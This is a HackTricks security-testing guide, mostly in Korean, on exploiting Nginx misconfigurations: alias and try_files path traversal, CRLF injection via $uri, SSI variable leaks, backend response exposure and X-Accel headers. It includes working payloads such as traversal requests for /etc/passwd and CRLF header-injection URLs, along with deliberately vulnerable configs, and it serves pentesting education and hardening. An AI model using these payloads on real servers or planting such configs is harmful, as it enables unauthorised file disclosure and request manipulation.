Nginx

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Missing root location

Nginx ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•  ๋•Œ, root directive๋Š” ํŒŒ์ผ์ด ์ œ๊ณต๋˜๋Š” ๊ธฐ๋ณธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ •์˜ํ•จ์œผ๋กœ์จ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜ ์˜ˆ์ œ๋ฅผ ๋ณด์„ธ์š”:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

์ด ๊ตฌ์„ฑ์—์„œ๋Š” /etc/nginx๊ฐ€ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ง€์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ /hello.txt์™€ ๊ฐ™์€ ์ง€์ •๋œ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์˜ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ค‘์š”ํ•œ ์ ์€ ์˜ค์ง ํŠน์ • location (/hello.txt)๋งŒ ์ •์˜๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฃจํŠธ ์œ„์น˜ (location / {...})์— ๋Œ€ํ•œ ๊ตฌ์„ฑ์€ ์—†์Šต๋‹ˆ๋‹ค. ์ด ๋ˆ„๋ฝ์œผ๋กœ ์ธํ•ด root ์ง€์‹œ๋ฌธ์€ ์ „์—ญ์ ์œผ๋กœ ์ ์šฉ๋˜์–ด ๋ฃจํŠธ ๊ฒฝ๋กœ /์— ๋Œ€ํ•œ ์š”์ฒญ์ด /etc/nginx ์•„๋ž˜์˜ ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด ๊ตฌ์„ฑ์œผ๋กœ ์ธํ•ด ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ„๋‹จํ•œ GET ์š”์ฒญ(์˜ˆ: GET /nginx.conf)๋งŒ์œผ๋กœ๋„ /etc/nginx/nginx.conf์— ์œ„์น˜ํ•œ Nginx ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ œ๊ณตํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. root๋ฅผ /etc์™€ ๊ฐ™์ด ๋ฏผ๊ฐ๋„๊ฐ€ ๋‚ฎ์€ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์„ค์ •ํ•˜๋ฉด ์ด ์œ„ํ—˜์„ ์™„ํ™”ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์—ฌ์ „ํžˆ ๋‹ค๋ฅธ ๊ตฌ์„ฑ ํŒŒ์ผ์ด๋‚˜ ์•ก์„ธ์Šค ๋กœ๊ทธ, ์‹ฌ์ง€์–ด HTTP basic authentication์— ์‚ฌ์šฉ๋˜๋Š” ์•”ํ˜ธํ™”๋œ ์ž๊ฒฉ ์ฆ๋ช… ๋“ฑ ๋‹ค๋ฅธ ์ค‘์š”ํ•œ ํŒŒ์ผ์— ๋Œ€ํ•œ ์˜๋„์น˜ ์•Š์€ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Alias LFI ๊ตฌ์„ฑ ์˜ค๋ฅ˜

Nginx์˜ ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ๋Š” โ€œlocationโ€ ์ง€์‹œ๋ฌธ์„ ๋ฉด๋ฐ€ํžˆ ์ ๊ฒ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Local File Inclusion (LFI)๋กœ ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์€ ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ๊ตฌ์„ฑ์—์„œ ์˜๋„์น˜ ์•Š๊ฒŒ ๋„์ž…๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

location /imgs {
alias /path/images/;
}

์ด ๊ตฌ์„ฑ์€ ์„œ๋ฒ„๊ฐ€ /imgs../flag.txt ๊ฐ™์€ ์š”์ฒญ์„ ์˜๋„๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์˜ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋ ค๋Š” ์‹œ๋„๋กœ ํ•ด์„ํ•˜์—ฌ ์‹ค์ œ๋กœ๋Š” /path/images/../flag.txt๋กœ ํ•ด์„๋˜๊ธฐ ๋•Œ๋ฌธ์— LFI ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฐํ•จ์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์›น์œผ๋กœ๋Š” ์ ‘๊ทผํ•  ์ˆ˜ ์—†์–ด์•ผ ํ•  ์„œ๋ฒ„ ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์„ ์™„ํ™”ํ•˜๋ ค๋ฉด ๊ตฌ์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์กฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

location /imgs/ {
alias /path/images/;
}

์ž์„ธํ•œ ์ •๋ณด: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix ํ…Œ์ŠคํŠธ:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Unsafe path restriction

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋””๋ ‰ํ‹ฐ๋ธŒ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๋ณ€์ˆ˜ ์‚ฌ์šฉ / HTTP Request Splitting

Caution

์ทจ์•ฝํ•œ ๋ณ€์ˆ˜ $uri ๋ฐ $document_uri๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๋Š” $request_uri๋กœ ๊ต์ฒดํ•˜๋ฉด ํ•ด๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

์ •๊ทœ์‹๋„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

location ~ /docs/([^/])? { โ€ฆ $1 โ€ฆ } - ์ทจ์•ฝ

location ~ /docs/([^/\s])? { โ€ฆ $1 โ€ฆ } - ์ทจ์•ฝํ•˜์ง€ ์•Š์Œ (๊ณต๋ฐฑ ๊ฒ€์‚ฌ)

location ~ /docs/(.*)? { โ€ฆ $1 โ€ฆ } - ์ทจ์•ฝํ•˜์ง€ ์•Š์Œ

A vulnerability in Nginx configuration is demonstrated by the example below:

location / {
return 302 https://example.com$uri;
}

\r (Carriage Return)์™€ \n (Line Feed) ๋ฌธ์ž๋Š” HTTP ์š”์ฒญ์—์„œ ์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ์ด๋“ค์˜ URL-encoded ํ˜•ํƒœ๋Š” %0d%0a๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฌธ์ž๋ฅผ ์š”์ฒญ(์˜ˆ: http://localhost/%0d%0aDetectify:%20clrf)์— ํฌํ•จ์‹œ์ผœ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๋ฉด, ์„œ๋ฒ„๋Š” Detectify๋ผ๋Š” ์ด๋ฆ„์˜ ์ƒˆ๋กœ์šด ํ—ค๋”๋ฅผ ๋ฐœํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” $uri ๋ณ€์ˆ˜๊ฐ€ URL-encoded๋œ ์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž๋ฅผ ๋””์ฝ”๋“œํ•˜์—ฌ ์‘๋‹ต์— ์˜ˆ๊ธฐ์น˜ ์•Š์€ ํ—ค๋”๊ฐ€ ํฌํ•จ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

CRLF injection๊ณผ response splitting์˜ ์œ„ํ—˜์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์•Œ์•„๋ณด๋ ค๋ฉด https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

๋˜ํ•œ ์ด ๊ธฐ๋ฒ•์€ explained in this talk์—์„œ ๋ช‡ ๊ฐ€์ง€ ์ทจ์•ฝํ•œ ์˜ˆ์ œ์™€ ํƒ์ง€ ๋ฉ”์ปค๋‹ˆ์ฆ˜๊ณผ ํ•จ๊ป˜ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋ธ”๋ž™๋ฐ•์Šค ๊ด€์ ์—์„œ ์ด misconfiguration์„ ํƒ์ง€ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์š”์ฒญ๋“ค์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

์ทจ์•ฝํ•œ ๊ฒฝ์šฐ, ์ฒซ ๋ฒˆ์งธ๋Š” โ€™Xโ€™๊ฐ€ ์ž„์˜์˜ HTTP method๋กœ ๋ฐ›์•„๋“ค์—ฌ์ ธ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ๊ณ , ๋‘ ๋ฒˆ์งธ๋Š” H๊ฐ€ ์œ ํšจํ•œ method๊ฐ€ ์•„๋‹ˆ์–ด์„œ ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์„œ๋ฒ„๋Š” GET / H HTTP/1.1 ๊ฐ™์€ ์š”์ฒญ์„ ๋ฐ›๊ฒŒ ๋˜์–ด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ํƒ์ง€ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

ํ•ด๋‹น ๊ฐ•์—ฐ์—์„œ ์ œ์‹œ๋œ ์ผ๋ถ€ ์ทจ์•ฝ ๊ตฌ์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์ตœ์ข… URL์—์„œ **$uri**๊ฐ€ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ์„ค์ •๋œ ๊ฒƒ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • ๋‹ค์‹œ ํ•œ ๋ฒˆ **$uri**๊ฐ€ URL์— ์žˆ๋Š” ๊ฒƒ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”(์ด๋ฒˆ์—๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ์•ˆ์— ์žˆ์Œ)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • ์ด์ œ AWS S3์—์„œ
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

์ž„์˜์˜ ๋ณ€์ˆ˜

์‚ฌ์šฉ์ž ์ œ๊ณต ๋ฐ์ดํ„ฐ๊ฐ€ ํŠน์ • ์ƒํ™ฉ์—์„œ Nginx ๋ณ€์ˆ˜๋กœ ์ฒ˜๋ฆฌ๋  ์ˆ˜ ์žˆ์Œ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค. ์ด ๋™์ž‘์˜ ์›์ธ์€ ๋‹ค์†Œ ๋ถˆ๋ช…ํ™•ํ•˜์ง€๋งŒ, ๋“œ๋ฌผ์ง€๋„ ์•Š๊ณ  ๊ฒ€์ฆ๋„ ๊ฐ„๋‹จํ•˜์ง€ ์•Š๋‹ค. ์ด ์ด์ƒ ๋™์ž‘์€ HackerOne์— ๊ฒŒ์‹œ๋œ ๋ณด์•ˆ ๋ณด๊ณ ์„œ์—์„œ ์ง€์ ๋˜์—ˆ์œผ๋ฉฐ, here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋” ์กฐ์‚ฌํ•œ ๊ฒฐ๊ณผ, ํ•ด๋‹น ๋ฌธ์ œ๊ฐ€ SSI filter module of Nginxโ€™s codebase์—์„œ ๋ฐœ์ƒํ•จ์ด ํ™•์ธ๋˜์–ด Server Side Includes (SSI)๊ฐ€ ๊ทผ๋ณธ ์›์ธ์œผ๋กœ ์ง€๋ชฉ๋˜์—ˆ๋‹ค.

์ด ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ํƒ์ง€ํ•˜๋ ค๋ฉด, ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ referer ํ—ค๋”๋ฅผ ์„ค์ •ํ•˜๊ณ  ๋ณ€์ˆ˜ ์ถœ๋ ฅ ์—ฌ๋ถ€๋ฅผ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋‹ค:

$ curl -H โ€˜Referer: barโ€™ http://localhost/foo$http_referer | grep โ€˜foobarโ€™

์ด๋Ÿฌํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ์‹œ์Šคํ…œ ์ „๋ฐ˜์˜ ์Šค์บ”์—์„œ Nginx ๋ณ€์ˆ˜๊ฐ€ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ถœ๋ ฅ๋  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์‚ฌ๋ก€๊ฐ€ ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ทจ์•ฝํ•œ ์ธ์Šคํ„ด์Šค ์ˆ˜์˜ ๊ฐ์†Œ๋Š” ์ด ๋ฌธ์ œ๋ฅผ ํŒจ์น˜ํ•˜๋ ค๋Š” ๋…ธ๋ ฅ์ด ์–ด๋А ์ •๋„ ์„ฑ๊ณตํ–ˆ์Œ์„ ์‹œ์‚ฌํ•œ๋‹ค.

try_files๋ฅผ $URI$ARGS ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๊ธฐ

๋‹ค์Œ๊ณผ ๊ฐ™์€ Nginx ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ LFI ์ทจ์•ฝ์ ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค:

location / {
try_files $uri$args $uri$args/ /index.html;
}

๊ตฌ์„ฑ์—์„œ try_files ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์ง€์ •๋œ ์ˆœ์„œ๋Œ€๋กœ ํŒŒ์ผ์˜ ์กด์žฌ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. Nginx๋Š” ๋ฐœ๊ฒฌ๋˜๋Š” ์ฒซ ๋ฒˆ์งธ ํŒŒ์ผ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ try_files ๋””๋ ‰ํ‹ฐ๋ธŒ์˜ ๊ธฐ๋ณธ ๊ตฌ๋ฌธ์ž…๋‹ˆ๋‹ค:

try_files file1 file2 ... fileN fallback;

Nginx๋Š” ์ง€์ •๋œ ์ˆœ์„œ๋Œ€๋กœ ๊ฐ ํŒŒ์ผ์˜ ์กด์žฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ์ด ์กด์žฌํ•˜๋ฉด ์ฆ‰์‹œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ง€์ •๋œ ํŒŒ์ผ๋“ค์ด ๋ชจ๋‘ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ์€ ๋‹ค๋ฅธ URI๋‚˜ ํŠน์ • ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๊ฐ€ ๋  ์ˆ˜ ์žˆ๋Š” ๋Œ€์ฒด ์˜ต์…˜์œผ๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด ์ง€์‹œ๋ฌธ์—์„œ $uri$args ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ, Nginx๋Š” ์š”์ฒญ URI์— ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด ์ธ์ˆ˜๋ฅผ ๊ฒฐํ•ฉํ•œ ๊ฒƒ๊ณผ ์ผ์น˜ํ•˜๋Š” ํŒŒ์ผ์„ ์ฐพ์œผ๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ์ด ๊ตฌ์„ฑ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

๋‹ค์Œ ํŽ˜์ด๋กœ๋“œ:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

์šฐ๋ฆฌ์˜ payload๋ฅผ ์‚ฌ์šฉํ•ด root ๋””๋ ‰ํ„ฐ๋ฆฌ(Nginx ๊ตฌ์„ฑ์—์„œ ์ •์˜๋œ)๋ฅผ ํƒˆ์ถœํ•˜๊ณ  /etc/passwd ํŒŒ์ผ์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ๋””๋ฒ„๊ทธ ๋กœ๊ทธ์—์„œ Nginx๊ฐ€ ํŒŒ์ผ์„ ์–ด๋–ป๊ฒŒ ์‹œ๋„ํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC against Nginx using the configuration mentioned above: Example burp request

๋ฐฑ์—”๋“œ ์›์‹œ ์‘๋‹ต ์ฝ๊ธฐ

Nginx๋Š” proxy_pass๋ฅผ ํ†ตํ•ด ๋ฐฑ์—”๋“œ์—์„œ ์ƒ์„ฑ๋œ ์˜ค๋ฅ˜์™€ HTTP ํ—ค๋”๋ฅผ ๊ฐ€๋กœ์ฑ„ ๋‚ด๋ถ€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์™€ ํ—ค๋”๋ฅผ ์ˆจ๊ธธ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Nginx๊ฐ€ ๋ฐฑ์—”๋“œ ์˜ค๋ฅ˜์— ๋Œ€ํ•ด ์ปค์Šคํ…€ ์—๋Ÿฌ ํŽ˜์ด์ง€๋ฅผ ์ œ๊ณตํ•จ์œผ๋กœ์จ ์‹คํ˜„๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Nginx๊ฐ€ ์ž˜๋ชป๋œ HTTP ์š”์ฒญ์„ ๋งŒ๋‚ฌ์„ ๋•Œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌํ•œ ์š”์ฒญ์€ ๋ฐ›์€ ๊ทธ๋Œ€๋กœ ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌ๋˜๋ฉฐ, ๋ฐฑ์—”๋“œ์˜ ์›์‹œ ์‘๋‹ต์ด Nginx์˜ ๊ฐœ์ž… ์—†์ด ํด๋ผ์ด์–ธํŠธ๋กœ ์ง์ ‘ ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด uWSGI ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํฌํ•จํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ณ ๋ คํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

์ด๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด Nginx ๊ตฌ์„ฑ์—์„œ๋Š” ํŠน์ • ์ง€์‹œ์–ด๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: ์ด ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์ƒํƒœ ์ฝ”๋“œ๊ฐ€ 300๋ณด๋‹ค ํฐ ๋ฐฑ์—”๋“œ ์‘๋‹ต์— ๋Œ€ํ•ด Nginx๊ฐ€ ์ปค์Šคํ…€ ์‘๋‹ต์„ ์ œ๊ณตํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ uWSGI ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ 500 Error ์‘๋‹ต์ด ๊ฐ€๋กœ์ฑ„์ ธ Nginx์—์„œ ์ฒ˜๋ฆฌ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.
  • proxy_hide_header: ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ, ์ด ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์ง€์ •๋œ HTTP ํ—ค๋”๋ฅผ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ˆจ๊ฒจ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

์œ ํšจํ•œ GET ์š”์ฒญ์ด ๋“ค์–ด์˜ค๋ฉด Nginx๋Š” ์ •์ƒ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋น„๋ฐ€ ํ—ค๋”๋ฅผ ๋“œ๋Ÿฌ๋‚ด์ง€ ์•Š๋Š” ํ‘œ์ค€ ์˜ค๋ฅ˜ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ž˜๋ชป๋œ HTTP ์š”์ฒญ์€ ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์šฐํšŒํ•˜์—ฌ ๋น„๋ฐ€ ํ—ค๋”์™€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํฌํ•จํ•œ ์›์‹œ ๋ฐฑ์—”๋“œ ์‘๋‹ต์ด ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

merge_slashes๋ฅผ off๋กœ ์„ค์ •

๊ธฐ๋ณธ์ ์œผ๋กœ Nginx์˜ merge_slashes directive๋Š” **on**์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์–ด URL์˜ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜์˜ ์Šฌ๋ž˜์‹œ๋กœ ์••์ถ•ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ URL ์ฒ˜๋ฆฌ๋ฅผ ๊ฐ„์†Œํ™”ํ•˜์ง€๋งŒ, ํŠนํžˆ local file inclusion (LFI) ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ Nginx ๋’ค์— ์žˆ๋Š” ์ทจ์•ฝ์ ์„ ์˜๋„์น˜ ์•Š๊ฒŒ ์ˆจ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€ Danny Robinson and Rotem Bar๋Š” ํŠนํžˆ Nginx๊ฐ€ reverse-proxy๋กœ ๋™์ž‘ํ•  ๋•Œ ์ด ๊ธฐ๋ณธ ๋™์ž‘๊ณผ ๊ด€๋ จ๋œ ์ž ์žฌ์  ์œ„ํ—˜์„ ๊ฐ•์กฐํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋ ค๋ฉด ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด merge_slashes directive๋ฅผ off๋กœ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด Nginx๊ฐ€ URL ๊ตฌ์กฐ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ  ์š”์ฒญ์„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ์ „๋‹ฌํ•˜๋ฏ€๋กœ ๊ทผ๋ณธ์ ์ธ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ๊ฐ€๋ฆฌ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, ์›น ์„œ๋ฒ„์˜ ์‘๋‹ต์— ํŠน์ • ํ—ค๋”๋“ค์ด ํฌํ•จ๋˜๋ฉด Nginx proxy์˜ ๋™์ž‘์ด ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํ—ค๋”๋“ค์€ in the docs์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • X-Accel-Redirect: Indicate Nginx to internally redirect a request to a specified location.
  • X-Accel-Buffering: Controls whether Nginx should buffer the response or not.
  • X-Accel-Charset: Sets the character set for the response when using X-Accel-Redirect.
  • X-Accel-Expires: Sets the expiration time for the response when using X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limits the rate of transfer for responses when using X-Accel-Redirect.

